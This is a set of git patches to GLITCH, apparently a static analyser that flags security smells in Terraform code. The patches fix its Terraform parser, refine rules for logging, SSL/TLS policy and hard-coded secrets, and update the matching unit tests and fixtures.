self.__help_test( "tests/security/terraform/files/insecure-access-control/private-cluster-nodes.tf", - 2, ["sec_access_control", "sec_access_control"], [1, 16] + 2, ["sec_access_control", "sec_access_control"], [1, 19] ) self.__help_test( "tests/security/terraform/files/insecure-access-control/public-access-eks-cluster.tf", @@ -277,7 +277,7 @@ def test_terraform_missing_encryption(self): ) self.__help_test( "tests/security/terraform/files/missing-encryption/aws-ecr-encrypted.tf", - 2, ["sec_missing_encryption", "sec_missing_encryption"], [1, 13] + 2, ["sec_missing_encryption", "sec_missing_encryption"], [1, 17] ) self.__help_test( "tests/security/terraform/files/missing-encryption/aws-neptune-at-rest-encryption.tf", @@ -459,6 +459,10 @@ def test_terraform_use_of_http_without_tls(self): "tests/security/terraform/files/use-of-http-without-tls/elb-use-plain-http.tf", 2, ["sec_https", "sec_https"], [1, 6] ) + self.__help_test( + "tests/security/terraform/files/use-of-http-without-tls/aws-ssm-avoid-leaks-via-http.tf", + 1, ["sec_https"], [8] + ) def test_terraform_ssl_tls_mtls_policy(self): self.__help_test( @@ -575,6 +579,10 @@ def test_terraform_missing_threats_detection_and_alerts(self): "tests/security/terraform/files/missing-threats-detection-and-alerts/github-repo-vulnerability-alerts.tf", 2, ["sec_threats_detection_alerts", "sec_threats_detection_alerts"], [1, 16] ) + self.__help_test( + "tests/security/terraform/files/missing-threats-detection-and-alerts/aws-ecr-enable-image-scans.tf", + 2, ["sec_threats_detection_alerts", "sec_threats_detection_alerts"], [1, 19] + ) def test_terraform_weak_password_key_policy(self): self.__help_test( @@ -617,7 +625,7 @@ def test_terraform_weak_password_key_policy(self): def test_terraform_integrity_policy(self): self.__help_test( "tests/security/terraform/files/integrity-policy/aws-ecr-immutable-repo.tf", - 2, ["sec_integrity_policy", "sec_integrity_policy"], [1, 9] + 2, ["sec_integrity_policy", "sec_integrity_policy"], [1, 13] ) self.__help_test( "tests/security/terraform/files/integrity-policy/google-compute-enable-integrity-monitoring.tf", @@ -657,7 +665,7 @@ def test_terraform_key_management(self): ) self.__help_test( "tests/security/terraform/files/key-management/aws-ecr-use-cmk.tf", - 2, ["sec_key_management", "sec_key_management"], [1, 14] + 2, ["sec_key_management", "sec_key_management"], [1, 18] ) self.__help_test( "tests/security/terraform/files/key-management/aws-kinesis-stream-use-cmk.tf", @@ -727,6 +735,10 @@ def test_terraform_key_management(self): "tests/security/terraform/files/key-management/s3-encryption-customer-key.tf", 2, ["sec_key_management", "sec_key_management"], [9, 47] ) + self.__help_test( + "tests/security/terraform/files/key-management/digitalocean-compute-use-ssh-keys.tf", + 1, ["sec_key_management"], [1] + ) def test_terraform_network_security_rules(self): self.__help_test( @@ -763,7 +775,11 @@ def test_terraform_network_security_rules(self): ) self.__help_test( "tests/security/terraform/files/network-security-rules/google-gke-enable-network-policy.tf", - 2, ["sec_network_security_rules", "sec_network_security_rules"], [1, 16] + 2, ["sec_network_security_rules", "sec_network_security_rules"], [1, 19] + ) + self.__help_test( + "tests/security/terraform/files/network-security-rules/google-iam-no-default-network.tf", + 2, ["sec_network_security_rules", "sec_network_security_rules"], [1, 5] ) def test_terraform_permission_of_iam_policies(self): @@ -923,6 +939,10 @@ def test_terraform_logging(self): "tests/security/terraform/files/logging/storage-logging-enabled-for-blob-service-for-read-requests.tf", 4, ["sec_logging", "sec_logging", "sec_logging", "sec_logging"], [1, 8, 49, 79] ) + self.__help_test( + "tests/security/terraform/files/logging/aws-ecs-enable-container-insight.tf", + 3, ["sec_logging", "sec_logging", "sec_logging"], [1, 7, 11] + ) def test_terraform_attached_resource(self): self.__help_test( @@ -961,6 +981,10 @@ def test_terraform_naming(self): "tests/security/terraform/files/naming/openstack-networking-describe-security-group.tf", 2, ["sec_naming", "sec_naming"], [1, 5] ) + self.__help_test( + "tests/security/terraform/files/naming/google-gke-use-cluster-labels.tf", + 2, ["sec_naming", "sec_naming"], [1, 19] + ) def test_terraform_replication(self): self.__help_test( From 29205b60292db687a5755ec44deaec617a73a652 Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Mon, 17 Apr 2023 11:21:21 +0100 Subject: [PATCH 36/58] Fixed bug in terraform parser. --- glitch/parsers/cmof.py | 20 +++++++++----------- 1 file changed, 9 insertions(+), 11 deletions(-) diff --git a/glitch/parsers/cmof.py b/glitch/parsers/cmof.py index e52b2424..41523668 100644 --- a/glitch/parsers/cmof.py +++ b/glitch/parsers/cmof.py @@ -1497,19 +1497,20 @@ def process_list(name, value, start_line, end_line): k_values.append(k) elif isinstance(keyvalue, list) and type == "attribute": # block (ex: access {} or dynamic setting {}; blocks of attributes; not allowed inside local values (variables)) - if name == "dynamic": - for block in keyvalue: - for block_name, block_attributes in block.items(): - k = create_keyvalue(block_attributes["__start_line__"], - block_attributes["__end_line__"], f"dynamic.{block_name}", None) - k.keyvalues = self.parse_keyvalues(unit_block, block_attributes, code, type) - k_values.append(k) - else: + try: for block_attributes in keyvalue: k = create_keyvalue(block_attributes["__start_line__"], block_attributes["__end_line__"], name, None) k.keyvalues = self.parse_keyvalues(unit_block, block_attributes, code, type) k_values.append(k) + except Exception: + for block in keyvalue: + for block_name, block_attributes in block.items(): + k = create_keyvalue(block_attributes["__start_line__"], + block_attributes["__end_line__"], f"{name}.{block_name}", None) + k.keyvalues = self.parse_keyvalues(unit_block, block_attributes, code, type) + k_values.append(k) + return k_values @@ -1559,7 +1560,6 @@ def parse_file(self, path: str, type: UnitBlockType) -> UnitBlock: f.seek(0, 0) code = f.readlines() - #print(f"\nparsed_hcl: {parsed_hcl}\n") unit_block = UnitBlock(path, type) unit_block.path = path for key, value in parsed_hcl.items(): @@ -1575,7 +1575,6 @@ def parse_file(self, path: str, type: UnitBlockType) -> UnitBlock: continue else: throw_exception(EXCEPTIONS["TERRAFORM_COULD_NOT_PARSE"], path) - #print(unit_block.print(0)) return unit_block except: throw_exception(EXCEPTIONS["TERRAFORM_COULD_NOT_PARSE"], path) @@ -1606,5 +1605,4 @@ def parse_folder(self, path: str) -> Project: res.blocks += aux.blocks res.modules += aux.modules - #print(res.print(0)) return res \ No newline at end of file From b4dfb1f31484cd4fd7f37c5d78522251b3a4fbba Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Wed, 19 Apr 2023 15:43:53 +0100 Subject: [PATCH 37/58] Minor fixes while checking variables --- glitch/analysis/rules.py | 8 ++-- glitch/analysis/security.py | 78 ++++++++++++++++++------------------- glitch/parsers/cmof.py | 3 +- 3 files changed, 44 insertions(+), 45 deletions(-) diff --git a/glitch/analysis/rules.py b/glitch/analysis/rules.py index a3941594..ddaceede 100644 --- a/glitch/analysis/rules.py +++ b/glitch/analysis/rules.py @@ -109,13 +109,13 @@ def check(self, code) -> list[Error]: elif isinstance(code, UnitBlock): return self.check_unitblock(code) - def check_element(self, c, file: str, au: AtomicUnit = None, parent_name: str = "") -> list[Error]: + def check_element(self, c, file: str, au_type = None, parent_name: str = "") -> list[Error]: if isinstance(c, AtomicUnit): return self.check_atomicunit(c, file) elif isinstance(c, Dependency): return self.check_dependency(c, file) elif isinstance(c, Attribute): - return self.check_attribute(c, file, au, parent_name) + return self.check_attribute(c, file, au_type, parent_name) elif isinstance(c, Variable): return self.check_variable(c, file) elif isinstance(c, ConditionStatement): @@ -175,7 +175,7 @@ def check_unitblock(self, u: UnitBlock) -> list[Error]: def check_atomicunit(self, au: AtomicUnit, file: str) -> list[Error]: errors = [] for a in au.attributes: - errors += self.check_attribute(a, file, au) + errors += self.check_attribute(a, file, au.type) for s in au.statements: errors += self.check_element(s, file) @@ -187,7 +187,7 @@ def check_dependency(self, d: Dependency, file: str) -> list[Error]: pass @abstractmethod - def check_attribute(self, a: Attribute, file: str, au: AtomicUnit = None, parent_name: str = "") -> list[Error]: + def check_attribute(self, a: Attribute, file: str, au_type: None, parent_name: str = "") -> list[Error]: pass @abstractmethod diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index c7e94118..6c7d81d9 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -696,12 +696,12 @@ def check_dependency(self, d: Dependency, file: str) -> list[Error]: return [] def __check_keyvalue(self, c: CodeElement, name: str, - value: str, has_variable: bool, file: str, atomic_unit: AtomicUnit = None, parent_name: str = ""): + value: str, has_variable: bool, file: str, au_type = None, parent_name: str = ""): errors = [] name = name.strip().lower() if (isinstance(value, type(None))): for child in c.keyvalues: - errors += self.check_element(child, file, atomic_unit, name) + errors += self.check_element(child, file, au_type, name) return errors elif (isinstance(value, str)): value = value.strip().lower() @@ -723,7 +723,7 @@ def __check_keyvalue(self, c: CodeElement, name: str, pass for config in SecurityVisitor.__HTTPS_CONFIGS: - if (name == config["attribute"] and atomic_unit.type in config["au_type"] + if (name == config["attribute"] and au_type in config["au_type"] and parent_name in config["parents"] and value.lower() not in config["values"]): errors.append(Error('sec_https', c, file, repr(c))) break @@ -850,30 +850,30 @@ def get_module_var(c, name: str): if (item_value in SecurityVisitor.__PASSWORDS): errors.append(Error('sec_hard_pass', c, file, repr(c))) - if (atomic_unit.type in SecurityVisitor.__GITHUB_ACTIONS and name == "plaintext_value"): + if (au_type in SecurityVisitor.__GITHUB_ACTIONS and name == "plaintext_value"): errors.append(Error('sec_hard_secr', c, file, repr(c))) for policy in SecurityVisitor.__INTEGRITY_POLICY: - if (name == policy['attribute'] and atomic_unit.type in policy['au_type'] + if (name == policy['attribute'] and au_type in policy['au_type'] and parent_name in policy['parents'] and value.lower() not in policy['values']): errors.append(Error('sec_integrity_policy', c, file, repr(c))) break for policy in SecurityVisitor.__SSL_TLS_POLICY: - if (name == policy['attribute'] and atomic_unit.type in policy['au_type'] + if (name == policy['attribute'] and au_type in policy['au_type'] and parent_name in policy['parents'] and value.lower() not in policy['values']): errors.append(Error('sec_ssl_tls_policy', c, file, repr(c))) break for config in SecurityVisitor.__DNSSEC_CONFIGS: - if (name == config['attribute'] and atomic_unit.type in config['au_type'] + if (name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and value.lower() not in config['values'] and config['values'] != [""]): errors.append(Error('sec_dnssec', c, file, repr(c))) break for config in SecurityVisitor.__PUBLIC_IP_CONFIGS: - if (name == config['attribute'] and atomic_unit.type in config['au_type'] + if (name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and value.lower() not in config['values'] and config['values'] != [""]): errors.append(Error('sec_public_ip', c, file, repr(c))) @@ -889,40 +889,40 @@ def get_module_var(c, name: str): if re.search(pattern, value) and re.search(allow_pattern, value): errors.append(Error('sec_access_control', c, file, repr(c))) for config in SecurityVisitor.__POLICY_AUTHENTICATION: - if atomic_unit.type in config['au_type']: + if au_type in config['au_type']: expr = config['keyword'].lower() + "\s*" + config['value'].lower() pattern = re.compile(rf"{expr}") if not re.search(pattern, value): errors.append(Error('sec_authentication', c, file, repr(c))) if (re.search(r"actions\[\d+\]", name) and parent_name == "permissions" - and atomic_unit.type == "resource.azurerm_role_definition" and value == "*"): + and au_type == "resource.azurerm_role_definition" and value == "*"): errors.append(Error('sec_access_control', c, file, repr(c))) - elif (((re.search(r"members\[\d+\]", name) and atomic_unit.type == "resource.google_storage_bucket_iam_binding") - or (name == "member" and atomic_unit.type == "resource.google_storage_bucket_iam_member")) + elif (((re.search(r"members\[\d+\]", name) and au_type == "resource.google_storage_bucket_iam_binding") + or (name == "member" and au_type == "resource.google_storage_bucket_iam_member")) and (value == "allusers" or value == "allauthenticatedusers")): errors.append(Error('sec_access_control', c, file, repr(c))) elif (name == "email" and parent_name == "service_account" - and atomic_unit.type == "resource.google_compute_instance" + and au_type == "resource.google_compute_instance" and re.search(r".-compute@developer.gserviceaccount.com", value)): errors.append(Error('sec_access_control', c, file, repr(c))) for config in SecurityVisitor.__ACCESS_CONTROL_CONFIGS: - if (name == config['attribute'] and atomic_unit.type in config['au_type'] + if (name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and value.lower() not in config['values'] and config['values'] != [""]): errors.append(Error('sec_access_control', c, file, repr(c))) break for config in SecurityVisitor.__AUTHENTICATION: - if (name == config['attribute'] and atomic_unit.type in config['au_type'] + if (name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and value.lower() not in config['values'] and config['values'] != [""]): errors.append(Error('sec_authentication', c, file, repr(c))) break for config in SecurityVisitor.__MISSING_ENCRYPTION: - if (name == config['attribute'] and atomic_unit.type in config['au_type'] + if (name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and config['values'] != [""]): if ("any_not_empty" in config['values'] and value.lower() == ""): errors.append(Error('sec_missing_encryption', c, file, repr(c))) @@ -934,7 +934,7 @@ def get_module_var(c, name: str): for item in SecurityVisitor.__CONFIGURATION_KEYWORDS: if item.lower() == name: for config in SecurityVisitor.__ENCRYPT_CONFIG: - if atomic_unit.type in config['au_type']: + if au_type in config['au_type']: expr = config['keyword'].lower() + "\s*" + config['value'].lower() pattern = re.compile(rf"{expr}") if not re.search(pattern, value) and config['required'] == "yes": @@ -943,7 +943,7 @@ def get_module_var(c, name: str): errors.append(Error('sec_missing_encryption', c, file, repr(c))) for config in SecurityVisitor.__FIREWALL_CONFIGS: - if (name == config['attribute'] and atomic_unit.type in config['au_type'] + if (name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and config['values'] != [""]): if ("any_not_empty" in config['values'] and value.lower() == ""): errors.append(Error('sec_firewall_misconfig', c, file, repr(c))) @@ -953,7 +953,7 @@ def get_module_var(c, name: str): break for config in SecurityVisitor.__MISSING_THREATS_DETECTION_ALERTS: - if (name == config['attribute'] and atomic_unit.type in config['au_type'] + if (name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and config['values'] != [""]): if ("any_not_empty" in config['values'] and value.lower() == ""): errors.append(Error('sec_threats_detection_alerts', c, file, repr(c))) @@ -963,7 +963,7 @@ def get_module_var(c, name: str): break for policy in SecurityVisitor.__PASSWORD_KEY_POLICY: - if (name == policy['attribute'] and atomic_unit.type in policy['au_type'] + if (name == policy['attribute'] and au_type in policy['au_type'] and parent_name in policy['parents'] and policy['values'] != [""]): if (policy['logic'] == "equal"): if ("any_not_empty" in policy['values'] and value.lower() == ""): @@ -982,7 +982,7 @@ def get_module_var(c, name: str): break for config in SecurityVisitor.__KEY_MANAGEMENT: - if (name == config['attribute'] and atomic_unit.type in config['au_type'] + if (name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and config['values'] != [""]): if ("any_not_empty" in config['values'] and value.lower() == ""): errors.append(Error('sec_key_management', c, file, repr(c))) @@ -991,7 +991,7 @@ def get_module_var(c, name: str): errors.append(Error('sec_key_management', c, file, repr(c))) break - if (name == "rotation_period" and atomic_unit.type == "resource.google_kms_crypto_key"): + if (name == "rotation_period" and au_type == "resource.google_kms_crypto_key"): expr1 = r'\d+\.\d{0,9}s' expr2 = r'\d+s' if (re.search(expr1, value) or re.search(expr2, value)): @@ -999,34 +999,34 @@ def get_module_var(c, name: str): errors.append(Error('sec_key_management', c, file, repr(c))) else: errors.append(Error('sec_key_management', c, file, repr(c))) - elif (name == "kms_master_key_id" and ((atomic_unit.type == "resource.aws_sqs_queue" - and value == "alias/aws/sqs") or (atomic_unit.type == "resource.aws_sns_queue" + elif (name == "kms_master_key_id" and ((au_type == "resource.aws_sqs_queue" + and value == "alias/aws/sqs") or (au_type == "resource.aws_sns_queue" and value == "alias/aws/sns"))): errors.append(Error('sec_key_management', c, file, repr(c))) for rule in SecurityVisitor.__NETWORK_SECURITY_RULES: - if (name == rule['attribute'] and atomic_unit.type in rule['au_type'] + if (name == rule['attribute'] and au_type in rule['au_type'] and parent_name in rule['parents'] and value.lower() not in rule['values'] and rule['values'] != [""]): errors.append(Error('sec_network_security_rules', c, file, repr(c))) break if ((name == "member" or name.split('[')[0] == "members") - and atomic_unit.type in SecurityVisitor.__GOOGLE_IAM_MEMBER + and au_type in SecurityVisitor.__GOOGLE_IAM_MEMBER and (re.search(r".-compute@developer.gserviceaccount.com", value) or re.search(r".@appspot.gserviceaccount.com", value) or re.search(r"user:", value))): errors.append(Error('sec_permission_iam_policies', c, file, repr(c))) for config in SecurityVisitor.__PERMISSION_IAM_POLICIES: - if (name == config['attribute'] and atomic_unit.type in config['au_type'] + if (name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and config['values'] != [""]): if ((config['logic'] == "equal" and value.lower() not in config['values']) or (config['logic'] == "diff" and value.lower() in config['values'])): errors.append(Error('sec_permission_iam_policies', c, file, repr(c))) break - if (name == "cloud_watch_logs_group_arn" and atomic_unit.type == "resource.aws_cloudtrail"): + if (name == "cloud_watch_logs_group_arn" and au_type == "resource.aws_cloudtrail"): if re.match(r"^\${aws_cloudwatch_log_group\..", value): aws_cloudwatch_log_group_name = value.split('.')[1] if not get_au(self.code, aws_cloudwatch_log_group_name, "resource.aws_cloudwatch_log_group"): @@ -1036,19 +1036,19 @@ def get_module_var(c, name: str): else: errors.append(Error('sec_logging', c, file, repr(c))) elif (((name == "retention_in_days" and parent_name == "" - and atomic_unit.type in ["resource.azurerm_mssql_database_extended_auditing_policy", + and au_type in ["resource.azurerm_mssql_database_extended_auditing_policy", "resource.azurerm_mssql_server_extended_auditing_policy"]) or (name == "days" and parent_name == "retention_policy" - and atomic_unit.type == "resource.azurerm_network_watcher_flow_log")) + and au_type == "resource.azurerm_network_watcher_flow_log")) and ((not value.isnumeric()) or (value.isnumeric() and int(value) < 90))): errors.append(Error('sec_logging', c, file, repr(c))) elif (name == "days" and parent_name == "retention_policy" - and atomic_unit.type == "resource.azurerm_monitor_log_profile" + and au_type == "resource.azurerm_monitor_log_profile" and (not value.isnumeric() or (value.isnumeric() and int(value) < 365))): errors.append(Error('sec_logging', c, file, repr(c))) for config in SecurityVisitor.__LOGGING: - if (name == config['attribute'] and atomic_unit.type in config['au_type'] + if (name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and config['values'] != [""]): if ("any_not_empty" in config['values'] and value.lower() == ""): errors.append(Error('sec_logging', c, file, repr(c))) @@ -1058,19 +1058,19 @@ def get_module_var(c, name: str): break for config in SecurityVisitor.__VERSIONING: - if (name == config['attribute'] and atomic_unit.type in config['au_type'] + if (name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and config['values'] != [""] and value.lower() not in config['values']): errors.append(Error('sec_versioning', c, file, repr(c))) break - if (name == "name" and atomic_unit.type in ["resource.azurerm_storage_account"]): + if (name == "name" and au_type in ["resource.azurerm_storage_account"]): pattern = r'^[a-z0-9]{3,24}$' if not re.match(pattern, value): errors.append(Error('sec_naming', c, file, repr(c))) for config in SecurityVisitor.__NAMING: - if (name == config['attribute'] and atomic_unit.type in config['au_type'] + if (name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and config['values'] != [""]): if ("any_not_empty" in config['values'] and value.lower() == ""): errors.append(Error('sec_naming', c, file, repr(c))) @@ -1080,7 +1080,7 @@ def get_module_var(c, name: str): break for config in SecurityVisitor.__REPLICATION: - if (name == config['attribute'] and atomic_unit.type in config['au_type'] + if (name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and config['values'] != [""] and value.lower() not in config['values']): errors.append(Error('sec_replication', c, file, repr(c))) @@ -1088,11 +1088,11 @@ def get_module_var(c, name: str): return errors - def check_attribute(self, a: Attribute, file: str, au: AtomicUnit = None, parent_name: str = "") -> list[Error]: - return self.__check_keyvalue(a, a.name, a.value, a.has_variable, file, au, parent_name) + def check_attribute(self, a: Attribute, file: str, au_type = None, parent_name: str = "") -> list[Error]: + return self.__check_keyvalue(a, a.name, a.value, a.has_variable, file, au_type, parent_name) def check_variable(self, v: Variable, file: str) -> list[Error]: - return self.__check_keyvalue(None, v, v.name, v.value, v.has_variable, file) #FIXME + return self.__check_keyvalue(v, v.name, v.value, v.has_variable, file) def check_comment(self, c: Comment, file: str) -> list[Error]: errors = [] diff --git a/glitch/parsers/cmof.py b/glitch/parsers/cmof.py index 41523668..804e29b9 100644 --- a/glitch/parsers/cmof.py +++ b/glitch/parsers/cmof.py @@ -1559,7 +1559,6 @@ def parse_file(self, path: str, type: UnitBlockType) -> UnitBlock: parsed_hcl = hcl2.load(f, True) f.seek(0, 0) code = f.readlines() - unit_block = UnitBlock(path, type) unit_block.path = path for key, value in parsed_hcl.items(): @@ -1571,7 +1570,7 @@ def parse_file(self, path: str, type: UnitBlockType) -> UnitBlock: elif key == "locals": for local in value: unit_block.variables += self.parse_keyvalues(unit_block, local, code, "variable") - elif key == "provider": + elif key in ["provider", "terraform"]: continue else: throw_exception(EXCEPTIONS["TERRAFORM_COULD_NOT_PARSE"], path) From 81eb261b9abd0a394c4d20e62c84e4d3f092f08a Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Wed, 19 Apr 2023 16:10:49 +0100 Subject: [PATCH 38/58] Added missing rule for logging code smell and its unit test --- glitch/analysis/security.py | 9 +++++++++ .../files/logging/aws-vpc-flow-logs-enabled.tf | 12 ++++++++++++ glitch/tests/security/terraform/test_security.py | 4 ++++ 3 files changed, 25 insertions(+) create mode 100644 glitch/tests/security/terraform/files/logging/aws-vpc-flow-logs-enabled.tf diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index 6c7d81d9..67bfb8dd 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -613,6 +613,15 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str, required_f else: errors.append(Error('sec_logging', au, file, repr(au), "Suggestion: check for a required attribute with name 'setting.name' and value 'containerInsights'.")) + elif (au.type == "resource.aws_vpc"): + expr = "\${aws_vpc\." + f"{au.name}\." + pattern = re.compile(rf"{expr}") + assoc_au = get_associated_au(self.code, "resource.aws_flow_log", + "vpc_id", pattern, [""]) + if not assoc_au: + errors.append(Error('sec_logging', au, file, repr(au), + f"Suggestion: check for a required resource 'aws_flow_log' " + + f"associated to an 'aws_vpc' resource.")) for config in SecurityVisitor.__LOGGING: if (config['required'] == "yes" and au.type in config['au_type'] diff --git a/glitch/tests/security/terraform/files/logging/aws-vpc-flow-logs-enabled.tf b/glitch/tests/security/terraform/files/logging/aws-vpc-flow-logs-enabled.tf new file mode 100644 index 00000000..ce7ad5b1 --- /dev/null +++ b/glitch/tests/security/terraform/files/logging/aws-vpc-flow-logs-enabled.tf @@ -0,0 +1,12 @@ +resource "aws_flow_log" "good_example" { + iam_role_arn = "arn" + log_destination = "log" + traffic_type = "ALL" + vpc_id = aws_vpc.good_example.id +} + +resource "aws_vpc" "good_example" { +} + +resource "aws_vpc" "bad_example" { +} \ No newline at end of file diff --git a/glitch/tests/security/terraform/test_security.py b/glitch/tests/security/terraform/test_security.py index 842f1d4b..320aaf83 100644 --- a/glitch/tests/security/terraform/test_security.py +++ b/glitch/tests/security/terraform/test_security.py @@ -943,6 +943,10 @@ def test_terraform_logging(self): "tests/security/terraform/files/logging/aws-ecs-enable-container-insight.tf", 3, ["sec_logging", "sec_logging", "sec_logging"], [1, 7, 11] ) + self.__help_test( + "tests/security/terraform/files/logging/aws-vpc-flow-logs-enabled.tf", + 1, ["sec_logging"], [11] + ) def test_terraform_attached_resource(self): self.__help_test( From 65ed19c48742be595659217a0940b3a78002f392 Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Thu, 20 Apr 2023 19:18:13 +0100 Subject: [PATCH 39/58] Refactor security analysis to consider has_variable flag and fixed some existing rules --- glitch/analysis/security.py | 132 ++++++++++++++++++------------------ glitch/configs/default.ini | 6 +- glitch/parsers/cmof.py | 4 ++ 3 files changed, 74 insertions(+), 68 deletions(-) diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index 67bfb8dd..f84657c9 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -5,6 +5,7 @@ from urllib.parse import urlparse from glitch.analysis.rules import Error, RuleVisitor +from glitch.tech import Tech from glitch.repr.inter import * @@ -185,6 +186,14 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str, required_f f"Suggestion: check for a required attribute with name '{config['msg']}'.")) # check ssl/tls policy + if (au.type in ["resource.aws_alb_listener", "resource.aws_lb_listener"]): + protocol = check_required_attribute(au.attributes, [""], "protocol") + if (protocol and protocol.value.lower() in ["https", "tls"]): + ssl_policy = check_required_attribute(au.attributes, [""], "ssl_policy") + if not ssl_policy: + errors.append(Error('sec_ssl_tls_policy', au, file, repr(au), + f"Suggestion: check for a required attribute with name 'ssl_policy'.")) + for policy in SecurityVisitor.__SSL_TLS_POLICY: if (policy['required'] == "yes" and au.type in policy['au_type'] and not check_required_attribute(au.attributes, policy['parents'], policy['attribute'])): @@ -355,16 +364,7 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str, required_f errors.append(Error('sec_sensitive_iam_action', action, file, repr(action))) # check key management - if (au.type == "resource.aws_s3_bucket"): - expr = "\${aws_s3_bucket\." + f"{au.name}\." - pattern = re.compile(rf"{expr}") - r = get_associated_au(self.code, "resource.aws_s3_bucket_server_side_encryption_configuration", "bucket", - pattern, [""]) - if not r: - errors.append(Error('sec_key_management', au, file, repr(au), - f"Suggestion: check for a required resource 'aws_s3_bucket_server_side_encryption_configuration' " + - f"associated to an 'aws_s3_bucket' resource.")) - elif (au.type == "resource.azurerm_storage_account"): + if (au.type == "resource.azurerm_storage_account"): expr = "\${azurerm_storage_account\." + f"{au.name}\." pattern = re.compile(rf"{expr}") if not get_associated_au(self.code, "resource.azurerm_storage_account_customer_managed_key", "storage_account_id", @@ -731,12 +731,6 @@ def __check_keyvalue(self, c: CodeElement, name: str, # The url is not valid pass - for config in SecurityVisitor.__HTTPS_CONFIGS: - if (name == config["attribute"] and au_type in config["au_type"] - and parent_name in config["parents"] and value.lower() not in config["values"]): - errors.append(Error('sec_https', c, file, repr(c))) - break - if re.match(r'^0.0.0.0', value) or re.match(r'^::/0', value): errors.append(Error('sec_invalid_bind', c, file, repr(c))) @@ -798,11 +792,24 @@ def get_module_var(c, name: str): return var return None + # only for terraform + var = None + if (has_variable and self.tech == Tech.terraform): + value = re.sub(r'^\${(.*)}$', r'\1', value) + if value.startswith("var."): # input variable (atomic unit with type variable) + au = get_au(self.code, value.strip("var."), "variable") + if au != None: + for attribute in au.attributes: + if attribute.name == "default": + var = attribute + elif value.startswith("local."): # local value (variable) + var = get_module_var(self.code, value.strip("local.")) + for item in (SecurityVisitor.__PASSWORDS + SecurityVisitor.__SECRETS + SecurityVisitor.__USERS): if (re.match(r'[_A-Za-z0-9$\/\.\[\]-]*{text}\b'.format(text=item), name) and name.split("[")[0] not in SecurityVisitor.__SECRETS_WHITELIST): - if not has_variable: + if (not has_variable or var): errors.append(Error('sec_hard_secr', c, file, repr(c))) if (item in SecurityVisitor.__PASSWORDS): @@ -810,34 +817,14 @@ def get_module_var(c, name: str): elif (item in SecurityVisitor.__USERS): errors.append(Error('sec_hard_user', c, file, repr(c))) - if (item in SecurityVisitor.__PASSWORDS and len(value) == 0): - errors.append(Error('sec_empty_pass', c, file, repr(c))) + if not has_variable: + if (item in SecurityVisitor.__PASSWORDS and len(value) == 0): + errors.append(Error('sec_empty_pass', c, file, repr(c))) + elif var: + if (item in SecurityVisitor.__PASSWORDS and var.value != None and len(var.value) == 0): + errors.append(Error('sec_empty_pass', c, file, repr(c))) break - else: - value = re.sub(r'^\${(.*)}$', r'\1', value) - aux = None - if value.startswith("var."): # input variable (atomic unit with type variable) - au = get_au(self.code, value.strip("var."), "variable") - if au != None: - for attribute in au.attributes: - if attribute.name == "default": - aux = attribute - elif value.startswith("local."): # local value (variable) - aux = get_module_var(self.code, value.strip("local.")) - - if aux: - errors.append(Error('sec_hard_secr', c, file, repr(c))) - - if (item in SecurityVisitor.__PASSWORDS): - errors.append(Error('sec_hard_pass', c, file, repr(c))) - elif (item in SecurityVisitor.__USERS): - errors.append(Error('sec_hard_user', c, file, repr(c))) - - if (item in SecurityVisitor.__PASSWORDS and aux.value != None and len(aux.value) == 0): - errors.append(Error('sec_empty_pass', c, file, repr(c))) - - break for item in SecurityVisitor.__SSH_DIR: if item.lower() in name: @@ -855,35 +842,44 @@ def get_module_var(c, name: str): SecurityVisitor.__SECRETS): if item_value in value.lower(): errors.append(Error('sec_hard_secr', c, file, repr(c))) - if (item_value in SecurityVisitor.__PASSWORDS): errors.append(Error('sec_hard_pass', c, file, repr(c))) if (au_type in SecurityVisitor.__GITHUB_ACTIONS and name == "plaintext_value"): errors.append(Error('sec_hard_secr', c, file, repr(c))) + if (has_variable and var): + has_variable = False + value = var.value + + for config in SecurityVisitor.__HTTPS_CONFIGS: + if (name == config["attribute"] and au_type in config["au_type"] + and parent_name in config["parents"] and not has_variable and value.lower() not in config["values"]): + errors.append(Error('sec_https', c, file, repr(c))) + break + for policy in SecurityVisitor.__INTEGRITY_POLICY: if (name == policy['attribute'] and au_type in policy['au_type'] - and parent_name in policy['parents'] and value.lower() not in policy['values']): + and parent_name in policy['parents'] and not has_variable and value.lower() not in policy['values']): errors.append(Error('sec_integrity_policy', c, file, repr(c))) break for policy in SecurityVisitor.__SSL_TLS_POLICY: if (name == policy['attribute'] and au_type in policy['au_type'] - and parent_name in policy['parents'] and value.lower() not in policy['values']): + and parent_name in policy['parents'] and not has_variable and value.lower() not in policy['values']): errors.append(Error('sec_ssl_tls_policy', c, file, repr(c))) break for config in SecurityVisitor.__DNSSEC_CONFIGS: if (name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and value.lower() not in config['values'] + and parent_name in config['parents'] and not has_variable and value.lower() not in config['values'] and config['values'] != [""]): errors.append(Error('sec_dnssec', c, file, repr(c))) break for config in SecurityVisitor.__PUBLIC_IP_CONFIGS: if (name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and value.lower() not in config['values'] + and parent_name in config['parents'] and not has_variable and value.lower() not in config['values'] and config['values'] != [""]): 